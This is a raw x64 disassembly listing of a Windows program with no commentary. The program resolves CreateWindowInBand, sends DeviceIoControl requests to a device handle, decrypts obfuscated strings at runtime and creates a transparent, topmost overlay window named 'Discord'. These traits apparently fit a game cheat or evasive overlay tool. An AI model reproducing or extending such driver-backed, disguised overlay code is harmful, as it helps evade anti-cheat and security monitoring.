mov rcx, qword [rsp + 0xa0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
mov rcx, qword [rsp + 0x500]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x14004e0b5
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
test edi, edi
jne 0x14004e9ac
lea rdx, str.CreateWindowInBand
mov rcx, qword [0x1400d5b68]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1400d5b40], rax
test rax, rax
jne 0x14004e101
lea rdx, str.CreateWindowInBand
mov rcx, qword [0x1400d5bb0]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1400d5b40], rax
test rax, rax
je 0x14004e9ac
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov edx, 0xc0000000
mov r8d, 3
lea rcx, str..4a0d67713228_7b8a2d9f3c1e0h6i
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rcx, rax
mov qword [0x1400d5b50], rax
dec rax
cmp rax, 0xfffffffffffffffd
ja 0x14004e833
mov qword [rsp + 0x500], rbx
mov dword [rsp + 0x1d8], 0x18b3e47
mov eax, dword [0x1400d5b58]
mov dword [rsp + 0x1dc], eax
lea rax, [rsp + 0x500]
mov qword [rsp + 0x1e0], rax
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rbx
mov r9d, reloc.WS2_32.dll_recv
lea r8, [rsp + 0x1d8]
mov edx, 0x2fd624
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
mov rax, qword [rsp + 0x500]
mov qword [0x1400d5b60], rax
test rax, rax
jne 0x14004e33c
mov r10, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [rsp + 0x98]
call fcn.14004ede0
mov r9, rax
cmp byte [rax + 0x26], 0
je 0x14004e31d
cmp esi, 2
jl 0x14004e2e8
movdqa xmmword [rsp + 0x500], xmm10
mov rcx, rax
mov edx, dword [rsp + 0x500]
nop word [rax + rax]
movd xmm2, ebx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rbx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm9
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add ebx, 8
mov eax, ebx
lea rcx, [rcx + 8]
cmp ebx, 0x20
jl 0x14004e200
cmp eax, 0x27
jge 0x14004e31d
movsxd r8, ebx
add r8, r9
nop
mov eax, 0x94f2095
imul ebx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul edx, eax, 0x37
add dl, bl
xor byte [r8], dl
inc ebx
lea r8, [r8 + 1]
cmp ebx, 0x27
jl 0x14004e2f0
mov rdx, r9
mov rcx, r10
call fcn.140051350
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov rdi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rcx, [rsp + 0x98]
call fcn.140044960
nop
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], 0xf
jbe 0x14004e35f
mov rax, qword [rax]
mov rdx, rax
mov rcx, rdi
call fcn.140052260
mov r10, rax
movups xmm0, xmmword [str.uYJ_eYZM_21ceFl]
movups xmmword [rsp + 0x1d8], xmm0
psrldq xmm0, 0xf
movd ecx, xmm0
test cl, cl
je 0x14004e4e1
cmp esi, 2
jl 0x14004e497
mov edx, ebx
movdqa xmmword [rsp + 0x500], xmm10
lea rcx, [rsp + 0x1dc]
mov r8d, dword [rsp + 0x500]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x10
jl 0x14004e3b2
jmp 0x14004e4e1
lea r9, [rsp + 0x1d8]
mov r8d, ebx
nop dword [rax]
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x37
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x10
jl 0x14004e4b0
lea rdx, [rsp + 0x1d8]
mov rcx, r10
call fcn.140051350
mov rdx, qword [0x1400d5b60]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_long_unsigned___int64_____ptr64]
mov rcx, rax
lea rdx, [0x1400af300]
call fcn.140051350
nop
mov rdx, qword [rsp + 0xb0]
cmp rdx, 0xf
jbe 0x14004e557
inc rdx
mov rcx, qword [rsp + 0x98]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004e552
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004e552
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400a020c
mov qword [rsp + 0x250], 0x50
mov rax, qword [sym.imp.USER32.dll_DefWindowProcA]
mov qword [rsp + 0x258], rax
mov qword [rsp + 0x260], rbx
mov qword [rsp + 0x268], rbx
mov edx, 0x7f00
xor ecx, ecx
call qword [sym.imp.USER32.dll_LoadIconW]
mov qword [rsp + 0x270], rax
mov edx, 0x7f00
xor ecx, ecx
call qword [sym.imp.USER32.dll_LoadCursorW]
mov qword [rsp + 0x278], rax
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x280], xmm0
lea rax, [0x1400b4730]
mov qword [rsp + 0x290], rax
mov edx, 0x7f00
xor ecx, ecx
call qword [sym.imp.USER32.dll_LoadIconW]
mov qword [rsp + 0x298], rax
lea rcx, [rsp + 0x250]
call qword [sym.imp.USER32.dll_RegisterClassExA]
movzx edi, ax
call qword [sym.imp.USER32.dll_GetDesktopWindow]
mov rcx, rax
lea rdx, [rsp + 0x500]
call qword [sym.imp.USER32.dll_GetWindowRect]
mov r10, qword [0x1400d5b40]
mov dword [rsp + 0x60], 2
mov qword [rsp + 0x58], rbx
mov rcx, qword [rsp + 0x268]
mov qword [rsp + 0x50], rcx
mov qword [rsp + 0x48], rbx
mov qword [rsp + 0x40], rbx
mov ecx, dword [rsp + 0x50c]
mov dword [rsp + 0x38], ecx
mov ecx, dword [rsp + 0x508]
mov dword [rsp + 0x30], ecx
mov eax, dword [rsp + 0x504]
mov dword [rsp + 0x28], eax
mov eax, dword [rsp + 0x500]
mov dword [rsp + 0x20], eax
mov r9d, 0x80000000
lea r8, str.Discord
movzx edx, di
xor ecx, ecx
call r10
mov qword [0x1400d5bf0], rax
mov edx, 0xffffffec
mov r8d, 0x800a0
mov rcx, rax
call qword [sym.imp.USER32.dll_SetWindowLongW]
mov r9d, 2
mov r8b, 0xff
xor edx, edx
mov rcx, qword [0x1400d5bf0]
call qword [sym.imp.USER32.dll_SetLayeredWindowAttributes]
movdqa xmm0, xmmword [0x1400b52c0]
movdqu xmmword [rsp + 0x1d8], xmm0
lea rdx, [rsp + 0x1d8]
mov rcx, qword [0x1400d5bf0]
call qword [sym.imp.dwmapi.dll_DwmExtendFrameIntoClientArea]
mov edx, 0xa
mov rcx, qword [0x1400d5bf0]
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, qword [0x1400d5bf0]
call qword [sym.imp.USER32.dll_UpdateWindow]
call fcn.1400486f0
call fcn.14004b5c0
nop
mov rax, qword [rsp + 0xc0]
movsxd rcx, dword [rax + 4]
mov qword [rsp + rcx + 0xc0], r12
mov rax, qword [rsp + 0xc0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rsp + rcx + 0xbc], edx
lea rcx, [rsp + 0xd0]
call fcn.14004fb00
lea rcx, [rsp + 0xd8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_istream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rsp + 0x170]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rdx, qword [rsp + 0x218]
cmp rdx, 0xf
jbe 0x14004e790
inc rdx
mov rcx, qword [rsp + 0x200]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004e78b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004e78b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400a020c
mov qword [rsp + 0x210], rbx
mov qword [rsp + 0x218], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x200], 0
cmp r13, 0xf
jbe 0x14004e7e6
lea rdx, [r13 + 1]
mov rax, r15
cmp rdx, 0x1000
jb 0x14004e7de
add rdx, 0x27
mov r15, qword [r15 - 8]
sub rax, r15
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004e7de
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, r15
call fcn.1400a020c
xor eax, eax
mov rcx, qword [rsp + 0x520]
xor rcx, rsp
call fcn.14009ffa0
lea r11, [rsp + 0x580]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
mov rsp, r11
pop r15
pop r14
pop r13
ret
mov r10, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [rsp + 0x98]
call fcn.14004eda0
mov r9, rax
cmp byte [rax + 0x26], 0
je 0x14004e98d
cmp esi, 2
jl 0x14004e959
movdqa xmmword [rsp + 0x500], xmm10
mov rcx, rax
mov edx, dword [rsp + 0x500]
movd xmm2, ebx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rbx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm9
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add ebx, 8
mov eax, ebx
lea rcx, [rcx + 8]
cmp ebx, 0x20
jl 0x14004e871
cmp eax, 0x27
jge 0x14004e98d
movsxd r8, ebx
add r8, r9
nop
mov eax, 0x94f2095
imul ebx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul edx, eax, 0x37
add dl, bl
xor byte [r8], dl
inc ebx
lea r8, [r8 + 1]
cmp ebx, 0x27
jl 0x14004e960
mov rdx, r9
mov rcx, r10
call fcn.140051350
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov r10, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [rsp + 0x98]
call fcn.14004ed60
mov r9, rax
cmp byte [rax + 0x26], 0
je 0x14004eb0d
cmp esi, 2
jl 0x14004ead8
movdqa xmmword [rsp + 0x500], xmm10
mov rcx, rax
mov edx, dword [rsp + 0x500]
nop word [rax + rax]
movd xmm2, ebx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rbx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm9
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add ebx, 8
mov eax, ebx
lea rcx, [rcx + 8]
cmp ebx, 0x20
jl 0x14004e9f0
cmp eax, 0x27
jge 0x14004eb0d
movsxd r8, ebx
add r8, r9
nop
mov eax, 0x94f2095
imul ebx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul edx, eax, 0x37
add dl, bl
xor byte [r8], dl
inc ebx
lea r8, [r8 + 1]
cmp ebx, 0x27
jl 0x14004eae0
mov rdx, r9
mov rcx, r10
call fcn.140051350
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov r10, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [rsp + 0x98]
call fcn.14004ece0
mov r9, rax
cmp byte [rax + 0x26], 0
je 0x14004ec8d
cmp esi, 2
jl 0x14004ec58
movdqa xmmword [rsp + 0x500], xmm10
mov rcx, rax
mov edx, dword [rsp + 0x500]
nop word [rax + rax]
movd xmm2, ebx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rbx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm9
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add ebx, 8
mov eax, ebx
lea rcx, [rcx + 8]
cmp ebx, 0x20
jl 0x14004eb70
cmp eax, 0x27
jge 0x14004ec8d
movsxd r8, ebx
add r8, r9
nop
mov eax, 0x94f2095
imul ebx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul edx, eax, 0x37
add dl, bl
xor byte [r8], dl
inc ebx
lea r8, [r8 + 1]
cmp ebx, 0x27
jl 0x14004ec60
mov rdx, r9
mov rcx, r10
call fcn.140051350
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3